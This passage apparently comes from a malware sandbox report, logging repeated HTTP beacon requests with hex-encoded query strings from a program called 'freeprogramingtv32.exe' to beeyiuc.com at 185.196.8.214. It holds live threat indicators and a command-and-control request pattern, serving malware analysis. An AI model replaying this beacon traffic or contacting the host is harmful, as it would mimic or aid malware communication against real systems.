Sep 15, 2024 13:56:20.247206926 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49765	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:20.367489100 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:21.052726030 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49766	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:21.180286884 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:21.876090050 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:21.987179041 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:22.234103918 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:22.346745968 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:22.583301067 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49767	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:22.711821079 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:23.422576904 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:23.544405937 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:23.785114050 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49768	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:23.914382935 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:24.608568907 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:24.721180916 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:24.958019972 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49769	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:25.086882114 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:25.774142981 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49770	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:25.897320032 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:26.595196009 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:26.704250097 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:26.941339970 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:27.047930002 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:27.290354013 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49771	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:27.413038015 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:28.091331959 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49772	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:28.209939003 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:28.906548977 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:29.016910076 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:29.258594990 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49773	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:29.382143974 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:30.081876993 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49774	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:30.225095987 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:30.922903061 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:31.033176899 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:31.279489994 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:31.391963959 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:31.629300117 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49775	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:31.758235931 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:32.447911978 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49776	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:32.674302101 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:33.366411924 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49777	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:33.491055012 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:34.199765921 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49778	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:34.321768999 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:35.007534981 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49779	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:35.210097075 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:35.896727085 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49780	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:36.022664070 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:36.718580961 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 15, 2024 13:56:36.829334021 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:37.066749096 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49781	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:37.198996067 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 15, 2024 13:56:37.892420053 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Sun, 15 Sep 2024 11:56:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49782	185.196.8.214	80	1800	C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 13:56:38.029206991 CEST	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1 Host: beeyiuc.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
